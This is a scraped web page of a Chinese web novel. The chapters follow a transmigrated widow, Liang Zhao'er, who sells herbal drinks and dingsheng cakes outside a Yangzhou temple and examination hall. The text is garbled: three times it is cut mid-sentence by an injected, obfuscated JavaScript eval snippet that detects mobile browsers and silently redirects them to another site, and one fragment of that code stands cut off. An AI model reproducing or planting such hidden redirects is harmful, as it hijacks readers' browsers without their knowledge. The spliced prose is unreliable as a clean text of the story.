玉梳点了点头，帮着贺喜郎将驴子下了车套，贺喜郎又问：“不是说你做事的那户人家出了丧，可从席面上带了什么好东西回来？” “这样的话也是能混说的？”玉梳拧着贺喜郎的耳朵朝前走去。 贺喜郎刚满十岁，正是歇不住的年纪，被玉梳教训了一顿后还不老实，又问个不停，“这位姊姊又是哪来的神仙人物，怎么有空到咱们这儿做客？” 还不等梁照儿回话，贺喜郎又被肆铺的吆喝声吸引了注意。 明教巷尽头有家店铺卖炊饼的，近来很是受附近街坊的欢迎。贺喜郎抖了抖口袋里的几文钱，一溜烟儿地朝铺子跑去，嘴里还喊道：“我娘正在你家同关大娘说话呢！” 玉梳应了一声，领着梁照儿停在了一处敞开的青色小门前，笑着说：“就是这了，我本姓郑，方才喜郎说的郑家的正是我老子娘，你叫她关大娘就成。” 梁照儿跟着玉梳进去，里头有两栋小房，后头有一扇如意门连着旁边的人家。两栋小房之间离得近，占地面积不算大。 郑家收拾的干净，屋前扯了一长根竹竿晾衣裳，右边摆了一只大水缸，除此之外再没别的了。 二人刚一进去，关大娘就放下手中的甜瓜子上去迎，“桌子上有才从井里头捞上来冰好的果子，快去尝尝。” 玉梳应了一声，引着梁照儿见了关大娘的和贺家的。 关大娘已经听玉梳说了梁照儿的事情。毕竟梁照儿新死了丈夫，还算在热孝里，堂而皇之地住进来惹得她心中有几分不悦。 不过玉梳说了只是暂住，等租赁了房子就好了，再加上关大娘也同情梁照儿的遭遇，便半推半就地同意了。 这屋子大半都是玉梳去崔家做丫头攒下来的银子置办的，关大娘也不好说些什么。 贺家的好奇面前面生的女子，小心翼翼地觑了一眼，“郑家的，这位小娘子是？” “我娘家远房侄女，来寻个活做。”这个时间点特殊，梁照儿的身份不好直言，关大娘随口打了个晃子。 梁照儿听得玉梳给她介绍，抬头看向贺家的，笑眯眯地说：“见过贺家娘子，倒是我扰了你们叙话。” 贺家的连忙摆了摆手，“总不过是闲话家常，你们忙，我也该回去了。” 她出了门，拎上蹲在街边吃炊饼的贺喜郎骂了两句，“就知道吃，一点脑子也不长！你今日的功课做好了没，仔细你爹回来揍你。” 4. 三色熟水（一） 梁照儿暂且在郑家安定下来了。 郑家是三口之家，人口简单，玉梳还有个大哥唤作玉松，不常在家。 原先郑家在乡下有田有地，日子虽清苦了些，倒也安稳。郑父是十里八乡有名的木匠，可惜天不假年，一日替村里人盖屋子的时候被顶上掉下来的横梁当场砸死了。 关大娘寡居后带着一双儿女时常被族里的无赖欺负。那起子泼皮欺田霸地，甚至把浇地的粪泼到郑家堂屋里。 这就是明晃晃地羞辱人了！ 玉松年纪小，又吃不饱饭，压根打不赢几个堂兄，只能咬着牙斗狠，希望他们能被吓退。可每每换回来的是一阵嬉笑和更重的拳头。 无奈之下，关大娘才带着一双儿女到了镇上讨生活。她身无长物，只能替人浆洗衣服维持生计。玉梳自觉娘亲太辛苦，紧等慢等，一过了九岁便立刻自请去崔家做丫头贴补家用。 玉松见妹妹都去谋生路了，也不好在家空坐着等饭吃。考科举时间长，没点家底耗不起，太不现实，何况他也没这个脑子。 除了卖力气玉松想不到别的法子，他先在码头拜了漕帮做卸货的脚夫，后来又去镖局做趟子手①，受伤是常有的事。有一次玉松半死不活地被人从外头抬回来，给家里人吓得不轻。 贺家的时常来陪着关大娘说话，见关大娘还不肯享福，有事没事也做些活计贴补家用便三分打趣七分捻酸道：“老姐姐，我看你八成是个享福的命，一儿一女孝顺的很，还忙活甚么劲！” “孩子们拿回来的每一文钱，都不容易。我这做老子娘的没能给孩子们攒下什么家底已是对不住他们，再不敢奢求别的！”关大娘摇了摇头，从笸箩里掏出几股其他颜色的线继续打着络子。 梁照儿听关大娘和贺家的闲拉家常听得入迷。没一会儿她已经知道了明教巷里头不少人的八卦，例如哪家的小郎君和小娘子看对眼了，偷偷私会、又例如那些更劲爆的风月韵事。 “……听说了元大师已经云游到了扬州地界，后日要去建隆寺讲解经文，”贺家的话锋一转，又说，“只是如今天太热了，巴巴地去了也是白白受罪。” 关大娘点了点头，赞同道：“是热了些，不过想来冲着了元大师的名头，也有不少人肯枯站一两个时辰。” 梁照儿眼珠子咕噜一转，心想这正是难得的商机。 等贺家的走了，梁照儿才摸到关大娘身旁问道：“大娘，寺庙讲经的时候人多吗？” 关大娘先被问得一怔，随即笑着说：“自然了。你才来不久还不知道，每到这时候，建隆寺里头都迈不开腿！” 梁照儿两眼放光，看来在建隆寺门口摆摊卖冷饮大有可为。 不过方才贺家的说的也有道理，若是大家都不愿意出门，岂非是白搭了？ 梁照儿也不扭捏，一边替关大娘挑着线，一边直率问道：“大娘莫嫌我没见识，我还得问句——不知这位了元大师是哪位神仙下凡？” “了元大师可了不得，他是禅宗的高僧，不仅有辩才，还能对诗，听说当朝不少文豪都和他有交情呢。”关大娘面上浮出了一丝欣赏之情。 没想到大师还是位自带粉丝流量的重量级嘉宾。 关大娘也不是个傻的，见梁照儿东拉西扯地问了半天，便说：“娘子问这么详细，可是有什么想法？” “我后日想去建隆寺摆摊卖些饮子，不知大娘可愿同去？”梁照儿问道。 关大娘有些犹豫，问道：“卖什么呢？” 梁照儿盯上了郑家墙根边种的一溜紫苏叶和院子里头那棵橘子树。了元大师后日便到了建隆寺，时间太紧、设备不足，酥山、冰雪之类的是做不成了。但用紫苏叶和橘子叶做些熟水②还是绰绰有余的。 本朝商贾辐辏，不像前朝那样坊市之间界限严明，摆摊不算个什么稀罕事。 梁照儿将自己的打算一五一十地告诉关大娘，又诚心说：“我既住在大娘家，又用了家里头的东西，若真赚了钱，你六我四。” 说罢，梁照儿从墙根处扯了一大把紫苏叶，又从树上摘了不少橘子叶。望着半簸箕的叶子，她还觉不够，又到街上药铺和果子铺买了些沉香和梅子回来。 因原料特性不同，各类熟水的制作方式也不同。例如被官家评为第一的紫苏熟水就得将紫苏叶放在纸上隔火烘烤，不能翻动，待香气溢出再用滚水洗泡。 沉香熟水是如今席面上最受欢迎的养生饮子。不过做它的过程有些繁琐，得先洗净瓦片烧红，再用烧红的瓦片焙热沉香，用茶碗扣住沉香，待香尽后再注入滚水。 橘子叶就很简单了，切碎洗净焖煮即可。 关大娘帮着一起做完三样熟水后，又将装熟水的小坛子用黄泥封好后放进井里凉着。 “大娘，可有生姜麽？”梁照儿擦了擦手上的水问道。 关大娘想了片刻，一拍脑袋道：“我记着灶台下面还有两个，我去给你拿！” 梁照儿预备将梅子和姜丝用白糖腌渍成蜜饯，随饮子卖给来寺庙听经文讲解的路人。这样摊上就有三种饮子，两种蜜饯，拢共六种搭配，对街边小摊来说，花样不算少了。 关大娘原本还有些忐忑不安的心情在尝了梁照儿做的饮子后立刻多云转晴，连忙说：“后日一早我就去贺家借车，咱们早些动身去建隆寺占个显眼的位置。” 后日天刚擦亮，梁照儿就搬着几大坛子熟水和用食盒装的小料上了驴车。 贺喜郎被贺家的支使着出来帮她们套车，他探头探脑地问：“关大娘、照儿姊，你们搬着这些东西要往哪儿去？” 梁照儿心知定是贺家的叫贺喜郎出来打探，想着贺家的和关大娘关系好，她也不恼，笑盈盈道：“我和大娘去建隆寺门前摆摊，你要跟着去吗？” “不了，不了，我爹要知道我没去私塾念书会打死我的！”贺喜郎连连摆手，一溜小跑地回了家。 关大娘摇头笑了笑，“这孩子见了他老子跟耗子见了猫似的，要我说孩子不是这块读书的料就别逼他了！” 梁照儿来的这些时候，只远远的瞥见了贺喜郎的爹一眼。他爹在前头盘了个店铺做铁匠。因着整日在炉火旁跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15401514|168708||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 铁水打交道，一身的腱子肉，皮肤也熏得黝黑。 别说贺喜郎看着犯怵，连她瞧着脖子都要往回缩三分。 和关大娘二人说说笑笑地驾着驴车就到了建隆寺门口，建隆寺在西湖镇，离城北有段距离，是本朝初新建的寺庙，飞檐斗拱，很是气派。刚建成不久，文学大家王禹偁便在上头题了《建隆寺碑记》。 再往前车就不能进了，梁照儿便把驴拴在树荫下，从车上把坛子都拿下来摆在临时支的桌子上。关大娘把碗抱了下来，用寺庙前小溪的水洗干净，齐整地码在桌上。 眼下时辰还早，往来的行人不多。梁照儿环顾四周，瞧见旁边其他摆摊的小贩不少：卖炊饼的、卖樱桃煎的、卖如意圆的…… 她和旁边的摊主寒暄了几番，又花钱买了几份小吃尝了尝，倒也别有一番风味。 到了晌午，天渐渐热了，人也多了起来。梁照儿放下手中的蒲扇，顶着一张晒得通红的脸招揽生意：“好喝的熟水，清热解暑，好喝不贵！” 建隆寺门口挤作一团，不少香客顾不上买饮子喝，只想往寺庙里头钻。倒是一位身着素色对襟衣，头戴方冠帽的书生上了前来，“这位娘子，这熟水怎么卖？” 梁照儿见第一位顾客上前，脸立刻笑成一朵花，都顾不上擦额上的汗珠连忙说：“橘子叶两文、紫苏叶三文、沉香四文！还有腌渍好的梅子和姜丝，都是一文，客官可要来一碗？” 那书生要了一碗紫苏熟水大口灌下去之后，又道：“再要一碗沉香的，加梅子。” 梁照儿又给他盛了一碗，书生还是端起碗一口饮尽，拍下八文钱就预备起身离去。 走之前他还问：“我要去书局买书，待会儿娘子可还在建隆寺门口？” 梁照儿想着或许是回头客，连忙应承下来。万事开头难，有了第一位客人，陆陆续续地又聚上来几位客人。 过了半个时辰，建隆寺门口的人大半都进去了。关大娘才拉着梁照儿坐下，“先歇会吧，午后散了场，才是人多的时候。” 果然，等了元大师讲经结束，再出来的人面上没了急躁之色，也能分出些眼神给街边小摊。 关大娘配合着站到外头去揽客，“天热口干，且来尝尝井里凉了一夜才捞上来的香饮子！” 梁照儿盛了几小碗熟水放在案前，笑着说：“各位客官可先尝尝，若是不好喝可看看别家的，若是好喝还请赏光再来一碗。” 带着帏帽的小娘子们三三两两地聚过来了，纷纷要了紫苏熟水，关大娘连忙道：“这紫苏熟水小娘子们喝了再好不过了，不仅能解胸闷呕吐，还能美容养颜。” 这一番话将小娘子们哄的嘴角都咧到天上了，又有几个再要了一碗。 也有想占便宜的，免费尝了梁照儿的熟水，却阴阳怪气道：“不过就是些市井小吃，我瞧着比不上燕来楼做的饮子！” ———— ①趟子手：古代镖局中负责喊镖、开路等任务的人员。 ②熟水：烧开的水与各种天然中药、香草等原料结合制作成的饮料。 5. 三色熟水（二） 梁照儿扬着一张俏脸，高声说：“这位大哥，您这话可就没道理了。燕来楼是扬州城里最大的酒楼，若是连奴家这区区小摊都比不过，岂非砸自己招牌？” 她抬手舀了一勺香饮，又道：“您若瞧不上奴家的，旁边还有其他摊子，大可以去别处瞧瞧。” 这番话十分推让，一旁同行的小贩也替她愤愤不平道：“你这馋獠，喝了不要钱的还要嚼舌根子，想是个貔貅托生，只进不出的！” 那男子闻言羞红着脸跑开了，引得众人一通嘘声。 书生从书局回来瞧见的正是是梁照儿跟客人理论的这幅场景：她站在树荫下，一只手松松垮垮地撑在坛子上，另一只手握着长勺，双唇一张一合。 梁照儿不算本朝所崇尚的风流人儿那样白净瘦弱。她一身小麦肤色，手臂因着经常干活有一层薄肌附于骨肉之上，整个人也比以含胸为美的女子更显挺拔几分。 书生瞧着她鼻尖沁出的汗珠哑然笑了笑，等人散得差不多了，他抱着怀里才买的书籍上前道：“娘子这香饮可谓货如轮转，不知还有没有余下的让我也再一饱口福？” 梁照儿从身后变出一碗紫苏熟水，一眨眼留下两抹水盈盈的眼波在空中横流。 “郎君方才那般说，奴就暗自揣度着您的心思，特意留了一盏等您回来吃。只可惜不知郎君姓甚名谁，不敢多打搅，只好在此痴痴地等了！” 这一番话说的三分真、七分假，却叫人听了舒坦。 “在下不过寄居在建隆寺赶考的一破落秀才，哪里值得娘子这种玲珑剔透人挂心。”书生望着面前深紫色的茶水从善如流道。 梁照儿浅笑回说：“这是哪来的话？秀才老爷识文断字，咱们这些人敬着还来不及呢。” 书生饮毕，又从兜里掏出三文钱放在桌上，可惜道：“明日进了考场，便喝不到这有滋有味的熟水了。” 梁照儿心中一紧，不着声色地问道：“明日就发解试了？” 那书生点了点头，随即抱着书往寺庙里走。梁照儿想到自己从前高考时，全家人齐上阵送她去考场，而面前的男子只身一人，或许是出于读书人的惺惺相惜，她开口道：“奴家在此遥祝郎君金榜题名！” 书生回头粲然一笑，露出两颗小虎牙，脚步轻快地朝寺里去了。 关大娘帮着收拾好了东西，坐在驴车上边赶车边问：“方才那书生说明日发解试，试院门口人多，不如去那儿再摆一天？” 梁照儿摇了摇头，“明日下场人虽多，可考试的学子必定不敢乱吃东西，以免在号舍里闹肚子，卷子上被盖上屎戳子平白误了考试。” 更要紧的是崔璋也会参加此次解试，若是因为她在门口摆摊到时候产生什么蝴蝶效应，害崔璋没考上的黑锅扣在了她头上，那才叫得不偿失！ “那就不去了？”关大娘望了望身旁的坛子，心有不甘道。 梁照儿也掂了掂手中的荷包，把心一横说道：“等三日后解试完了再去，考了三天人都饿虚脱了，哪里还顾得了旁的。” 她还是舍不下白花花的银子，今天一上午就赚了两百多文，除去成本还能赚一百五十来文。等到解试结束，重要情节走完了，想来也出不了什么乱子。 驴车驶到了明教巷口，关大娘先叩了贺家的门，朗声道：“贺家的，车还是老样子给你卸下来放好了。” 贺家的闻言连忙出来，瞥都不瞥一眼驴车，径直执了关大娘的手打探道：“赚了多少？” 关大娘默不作声地将手从贺家的手里抽出来，缓缓说：“没赚多少，回个本罢了。” 她自然懂财不外露的道理，若非租赁驴车太贵，且搬着这么一堆东西进出没法糊弄过去，她还真想闷声发大财。 贺家的闻言扭身进屋，凑到贺铁匠耳边小声道：“他爹，隔壁关寡妇和她侄女今日去建隆寺摆摊瞧着挣了不少，我明日也想……” 贺铁匠正吃酒，一听便吹胡子瞪眼睛地说：“早说不让你跟那寡妇来往，我瞧你心思被带的越发野了！喜郎的书都念成什么样子了，也不知管管，到外头去摆什么鸡摊鸭摊！” 贺喜郎见话锋又转到自己身上，连忙端着碗跑了出去，蹲在院门口干扒饭。 他不想触了贺铁匠的霉头，又挨一顿揍。 “我是这家的女人，自然是替你父子两个打算起来，你替人家打铁造器能赚几个子钱，何况又不是天天有人要造铁器。”贺家的比划着辩解道。 贺铁匠闻言只觉面前的女人瞧不起他，抬手就甩了她一巴掌，骂道：“男人当家，干女人甚么事！自己做的饭比猪食还难下咽，也有脸学人家出去摆摊？” 贺家的捂着脸哀哀戚戚地出了堂屋，摸到了贺喜郎身旁，哭丧着脸说：“喜哥儿，你可得好好读书，赶明儿出人头地了给你娘撑腰！” 贺喜郎瞧见贺家的脸上的巴掌印，蹭地一下站起身，望着屋内握紧拳头道：“爹又打你了？还不如玉梳姊家那样，她和关大娘单过我瞧着倒还好些！” “你这没良心的刺头，他可是你爹，在外头辛辛苦苦打铁，挣两个子辛苦钱，都是为了你！”贺家的一脸嗔怪地戳着贺喜郎的额头，不满道。 贺喜郎攥着手中的碗拿也不是，放也不是，又一溜烟跑回屋子里拿起《论语》高声念了起来。 玉梳瞧见贺家的蹲在门口，便上前关心了句，“大娘这是怎么了，可是暑气上头了？” “你瞧我，方才和自家官人拌了两句嘴，他偏叫我吃肉，我嫌腻不乐意吃。”贺家的一抹眼角的泪水，来回捋着眼角浮起的皱纹，娇羞道。 贺家的平时虽爱嚼舌，又有几分居高自傲的得意，但还算可爱，凡是郑家有事也来搭把手。玉梳把她当作个长辈，此刻也关心道：“到我家里坐坐也好。” 贺家的不领这情，扭身又回了屋子里头。 玉梳摇了摇头也朝家走，她见堂屋里摆着三只开口的大坛子，问道：“娘，你们今日去哪儿了？” 关大娘笑着将菜端了出来，“你老娘今日同照儿娘子去建隆寺门口摆摊了。” 玉梳见母亲和梁照儿相处融洽，心中也高兴。 三人有说有笑地用了饭后，梁照儿郑重其事地将怀里的荷包掏了出来，“刨去成本，咱们今日一共赚了一百五十八文。按照先前和大娘说好的，您占六成，拿九十五文，余下的是我的。” 关大娘和玉梳对视一眼，微微叹息，“老身托大讲几句心里话，我自问是个眼明心净的人，娘子来我家里这些日子，我能感觉到娘子是个好的——人不仅勤快、还有一手好厨艺。我的儿，如今我一样把你当自家孩子，这多出来的一成是断不敢收的！” 玉梳笑着打了个圆场，“都说当自家孩子了，怎么还娘子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15401515|168708||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来、娘子去的，倒显得生分了！我瞧着倒不如就认下这门糊涂亲，往后娘也多个可心的侄女？” 关大娘点了点头，梁照儿也红了眼眶应承下来。 玉梳见关大娘回了自己屋子，便在灯下坐着边补衣服边同梁照儿说话，“崔家如今乱作一团，大娘子将不少下人都打发归家去了。” 梁照儿被勾起了好奇心，翘着脚问道：“发生什么了？” 玉梳起身将被风吹开的窗子关上，又道：“湖边画舫上的春娘跑到崔家门口求刘大娘子收留她和她肚子里的孩子。” “想必这位春娘子大有来头。”梁照儿勾了勾唇角，轻声笑道。 玉梳笑着说：“照儿你可神了！这位春娘子是富商任家买来养在船上孝敬胡县尉的，寻常客人上了船都是只卖艺不卖身的，不知道珍大爷使了什么法子，竟与她勾搭上了。” 梁照儿冷哼一声，心中满是鄙夷。崔珍还能用什么法子？不过就是那些下作的手段，先哄再骗，若是还不成就下迷药。谁成想惹上了专供权贵们玩乐的瘦马船娘，这下只怕难得脱身了。 该！ “牙行的刘妈妈上了崔府几趟，直说珍大爷害得她家姑娘破了身子，要二百两银子才肯不继续来闹。”玉梳将缝好的衣服拿到灯下一照，见针脚细密且都补全了才叠好放在一旁。 梁照儿一挑眉，不屑道：“早知当时应该多踹他两脚，踹到再不能人事也算为民除害了。” “什么？”玉梳心下一惊连忙起身将门关上，又道，“你胆子也忒大了，若真出了什么事……” “我晓得分寸的，”梁照儿牵着玉梳坐下，又安抚道，“你和大娘对我好，我心里知道。” 玉梳见她神色不似作为，换了个话题，“璋哥儿昨日回来了，得知主君去了的消息，如今正难过呢。” 梁照儿握紧了手中的茶杯，淡淡道：“总归是他的父亲。” 她和玉梳又说了几句，二人才吹了灯睡下。 第二日清晨，鸡鸣了三声，梁照儿就起了床。她穿好衣服，挎着篮子便出门了。 刚出门就瞧见贺家的正捧着一盆水朝门口泼去，门边还立着一把扫帚。梁照儿走上去跟贺家的打了声招呼，又从兜里掏出十文钱塞进她手里，“早该给大娘的，多谢大娘借我驴车。” 贺家的摸着那钱，喜滋滋的一张脸扬了起来，嘶哑着嗓子说：“我就不跟娘子客气了。” 昨日贺家不仅白天闹的动静大，连晚上也闹了好一阵子。玉梳的屋子和贺家的后墙连着，跟主屋离得不远，半夜那动静听得梁照儿和玉梳两个小娘子脸都红了。 梁照儿用手肘拐了拐玉梳，笑嘻嘻地问她，“你说贺铁匠在铺子里头打铁的时候有这么用劲吗？我瞧他有点劲儿全使自家娘子身上了！” 这一番话羞的玉梳连连锤她。 和贺家的分别后，梁照儿独自去了街上粮铺买做糕点用的糕粉。她已经计划好了，届时做定胜糕到试院门口去卖。 一来定胜糕松软清香、入口甜糯；二来取个好意头，在上头印上“定胜”和“状元及第”的字样，保不齐还能身价翻倍。 “掌柜，要一斤红曲粉、两斤糯米粉、三斤梗米粉。”梁照儿定身站在柜台前，朗声道。 粮铺掌柜打了帘子从后头出来，“这位娘子请稍候，我叫伙计给您装去。” 6. 定胜糕（一） 趁粮铺伙计去装糕粉的空档，梁照儿在铺子里转了一圈，掌柜见她好奇便介绍道：“这是占城稻，从交趾那边引进的新品种，正是便宜的时候，娘子不如买些回去给家里人吃？” 占城稻的口感虽不如粳稻，但胜在便宜量大，普通家庭多以占城稻为主食。梁照儿微微一笑，婉拒道：“不要，谢谢。” 店主人尴尬地摸了摸鼻子，冲着伙计骂道：“好了没有？请你回来凡事还要三请四请的才肯做！” 伙计连声抱歉，左手拎着糯米粉，右手拎着梗米粉，肩上还扛着一小袋红曲粉，“对不住了客官，让您久等了，这都是仔细选出来的好米，您瞧瞧。” 说罢，他将米放在柜台上，豁开一个小口给梁照儿瞧。梁照儿伸手捻了一点在指尖揉搓，满意道：“品质倒是不错，就是不知你这称准不准，可有缺斤少两？” “娘子尽可放心，若少一两，我这铺子便洗手不干，兑给娘子！”掌柜闻言立刻伸手保证道。 梁照儿从钱袋子里掏出三十六文钱给掌柜，掌柜的点了钱数又笑着说：“娘子形体纤纤，这米有些沉，只需再加五文钱，可命伙计送到贵府上去。” “不用了，谢谢。” 梁照儿摆了摆手，随即拎着袋子一甩，在空中划出一道完美的抛物线后塞进篮子里。 自从曾经在理发店被推销着办了三千块钱的卡，被理发师附赠了一头狗啃的头发后，梁照儿已经练就出一身功夫，不管谁推销什么东西，她都能含笑点头，然后拒绝。 粮铺掌柜瞧见梁照儿拎着沉甸甸的篮子出去，半晌感慨道：“真乃奇女子也！” 梁照儿又去了糖行和果子铺买了其他做定胜糕所需的材料才打道回府。关大娘见她提着不少东西，连忙迎她进屋。 “上街也不喊我陪着，这么多东西也不怕背不回来。”关大娘小声责备道。 梁照儿扭了扭酸胀的右肩，无奈道：“大早上被吵醒了也睡不着，权当出门遛弯了。” 关大娘粗略估计了一下面前的原材料，塞了三十文钱到梁照儿手里，“估摸着这些够了。” 梁照儿仰着头故作高傲道：“多了，找您两文。” “你这歪剌货也作弄到你大娘头上来了！”关大娘恨恨地拍了梁照儿一下，嗔怪道。 定胜糕①的传统做法是将粳米粉、糯米粉、红曲粉、白糖和少量清水拌匀涨发，刮平后再上笼旺火蒸熟。现代人进行了改良，做出来的定胜糕更加瓷实，且里头加了豆沙更甜上几分。 梁照儿先做了一碟梅花形状的，放进笼屉里大火蒸了十五分钟，再拿出来糕点表面呈现出淡淡的红色。 关大娘一见便觉得可爱的紧，梁照儿叫她试吃的时候都不敢使劲捏。 “总觉得还差些什么。”梁照儿衔了一块糕点塞进嘴里，细细品尝道。 关大娘不赞同道：“嗳，我觉着是不差了，加了馅料已经比寻常的甜上一些，若再加旁的只怕不美。” 梁照儿点了点头，“甜度倒是不必再调整了，”她瞥见了没用完的沉香熟水，舀了一瓢进混合好的糕粉里，又说，“不过少了些香气。” 卖糕点最重要的一个字就是香！后世那些面包房常用面包香氛将店铺熏得满堂糕点香，路过的人哪怕不想买也会使劲嗅两口。 果然，加了沉香汁子的糕点再从笼屉里拿出来的时候就带着丝丝清香。可惜在药铺买的沉香不过寻常成色，若是能寻到惠安系的沉香②，香味会更加纯净，更难得的是还带有奶韵。 关大娘赞道：“倒真像梅花仙子降世了。” 梁照儿预备将糕点与熟水结合做成按份卖的套餐——当然也可以单买，只不过要贵上几文钱。 便起名叫状元及第罢。 玉梳从前跟着郑木匠学过写字，抖着手替梁照儿写了几个字，又去羊巷定制了两张可以摊开的桌子和几把小板凳。 解试结束那日，梁照儿起了个大早，难得地穿上了原先崔老爷命人给她做的那身灰蓝色的齐胸襦裙，又梳了个小盘髻。 玉梳送她们到了门口，抓住梁照儿的袖子语重心长道：“再不许踹人了。” 梁照儿无奈地接过玉梳的手，“我又不是疯狗，还能见谁咬谁不成？” 关大娘驾着驴车，二人慢悠悠地到了试院门口。 试院门口是贫富差异最为显著的地方：富家老爷太太们在宝马香车上正襟危坐，车边还站着用人奴仆，等自家郎君出来。普通百姓则一手挎着草帽，另一手拿着汗巾子抹汗，不少人脚上穿的还是下地干活的草鞋，五个脚趾漏了三个在外面。 只一点是相通的，那就是望穿秋水的眼神和那颗望子成龙的心。 梁照儿在一边支起摊子，她掀开白布，用蒲扇扇去飞虫，“定胜糕，四文钱一块，十文钱三块，还送一碗沉香饮子！” 一旁的老伯有些好奇地望向食摊，梁照儿笑眯眯地说：“老伯，可要来一份？郎君在里头考试饿了三天，吃了我家的定胜糕，不仅能填饱肚子，还能连中双元、状元及第！” “那……那就来三块吧，”老伯从怀里掏出十文钱放在案前，小心翼翼地指了指面前的糕点，“这糕点做的好看，像真花。” 关大娘忙替老伯抹了桌子，将一碟定胜糕端到他面前。那老伯坐在一边，低头望了糕点好几眼也不舍得吃，只小口喝着饮子。 在试院门口等的人太多，很快就有不少人聚集在摊前，关大娘边收钱边道：“前头有桌子，客官可坐下慢慢用。” 花顶马车上，一小姑娘打了帘子探头向外望了一眼，回身撒娇道：“阿娘，我瞧那边许多人正围着买定胜糕，不如叫拂柳去买些来尝尝。” 那妇人保养得宜，轻点了小姑娘鼻头一下，宠溺道：“平日里万千糕点在家摆臭了都不带看的，如今瞧着外头人吃就眼热了？” 小姑娘被说的有些害臊，连忙钻进妇人怀中，“取个好意头，定胜定胜，希望文曲星君保佑哥哥中举。” “你有这份心思，阿娘又岂会驳了你的好意，”妇人摸了摸怀里毛茸茸的一颗头，又打了帘子吩咐下人说，“拂柳，照姑娘说的去买两份回来。” 拂柳领了命，微微福身，便朝着梁照儿的摊子走去。 梁照儿一看拂柳周身气度不凡，连忙擦了手问道：“姑娘要些什么？” “来两份吧，我家主人觉着不错。”拂柳掩了口鼻，闷声说道。 梁照儿给拂柳装了六块定胜糕，又用竹筒装了香饮。她接过拂柳给的钱，抿着嘴笑道：“姑娘慢走。” 瞧着拂柳走远了，梁照儿才小声问关大娘，“大娘可识得那是谁家的马车。” 古代的马车可不是寻常升斗小民坐得起的，梁照儿瞧着那花顶马车的规格，心想马车的主人只怕也是个不小的官。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15401516|168708||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 关大娘眯着眼睛朝远处望了望，看清马车上挂着的灯笼，了然于胸道：“那是知州韩家的马车，他家大哥儿也是今秋下场考试。说起来韩大人可是个一心为民的好官，前头的知州收税收的厉害，家家户户都余不下钱粮，韩大人一上任就奏请朝廷取消了额外的税收。” 还没等梁照儿回话就听见试院里头出来一位官差，他将锣一敲，尖声喊道：“解试结束，考生离场！” 紧接着，门口便人头攒动起来，考生们个个面如菜色地从里头出来。 “在号舍里蹲了三天，人都馊了。” “你那还有没有馒头，给我来两个。” 说着，几个少年闻见糕点香，便一头扎进了梁照儿的小摊上，又见意头好连要了好几份。在号舍里饿狠了，此刻别说区区三块定胜糕了，就是三十块也不在话下。 关大娘笑得眼睛都眯成一条缝，连连给他们拿糕点来，嘴里还念叨着：“诸位郎君慢慢吃，别噎着了。” “掌柜，拿碗茶来喝！”一年轻人头也不抬地挥手示意。 话音还未落，关大娘就将茶壶提走了，生怕他们没噎着，噎着才好买香饮喝。 崔璋也同好友一齐出来了，日头正是盛时，他伸手挡住刺眼的阳光，就听得一阵熟悉的声音正在说：“真对不住了各位，茶壶已经见了底，没水喝了。郎君们若渴了，且看看摊上的香饮，是上好的沉香做的。” 他沿声望去，正瞧见梁照儿系着襻膊在摊前忙碌。崔璋还未动身，只见身旁的好友已然如同炮仗一般蹿了出去。 “今日能在此处遇见娘子，也算一宗巧事。” 梁照儿抬眼一看，面前说话之人正是那日在建隆寺遇见的书生。她半低着头笑盈盈道：“不算是巧事，还得感谢郎君那日在建隆寺门口告知我这消息。” 书生还未应答，就被阴沉着脸的崔璋给打断了，“谁准许你到外头抛头露面的？” 梁照儿转过头去，只露出侧只耳朵。她心中不忘刘氏的嘱托，淡淡道：“我近来耳背，听不清这位郎君在说什么。” 崔璋：“……” 书生也回过身，好奇道：“子圭兄，你二人是旧相识？” 崔璋一噎，清俊的脸上染上几丝绯色，半晌才说：“启旸，我…我与她……” 听见崔璋唤书生“启旸”，梁照儿才意识到原来那日在建隆寺门口遇见的书生居然就是原书后期的大反派蔡宣季。 书中只说蔡宣季是西湖镇人，旁的倒未怎么提及。又说蔡宣季与崔璋有在书院同床共学的情谊，后来崔璋落难，他也时常施以援手。只可惜二人入仕后政见不同，渐行渐远，最终竟闹到不死不休的地步。 不过人都是会变的。 梁照儿只能这样想，她其实也不太能将面前这个清秀文弱的书生和未来的大奸臣蔡宣季联系在一起。 “究竟是什么关系，说出来呀！”蔡宣季饶有兴致地看向崔璋。 半晌崔璋才嗫嚅着说：“……她是我娘，庶的。” 梁照儿拍了拍崔璋的肩膀，幽幽道：“从前打死也不肯认得，如今你认我却不认了！” ———— ①定胜糕：糕面印有“状元及第”等纹样，寄托美好祈愿。 ②惠安系沉香：惠安系涵盖越南、柬埔寨、老挝、缅甸、中国海南等地所产沉香。野生海南沉香通常带有奶韵和花香。 7. 定胜糕（二） 蔡宣季闻言一怔，半晌才忍俊不禁道：“子圭兄，你再努努力都能生出人家了。” 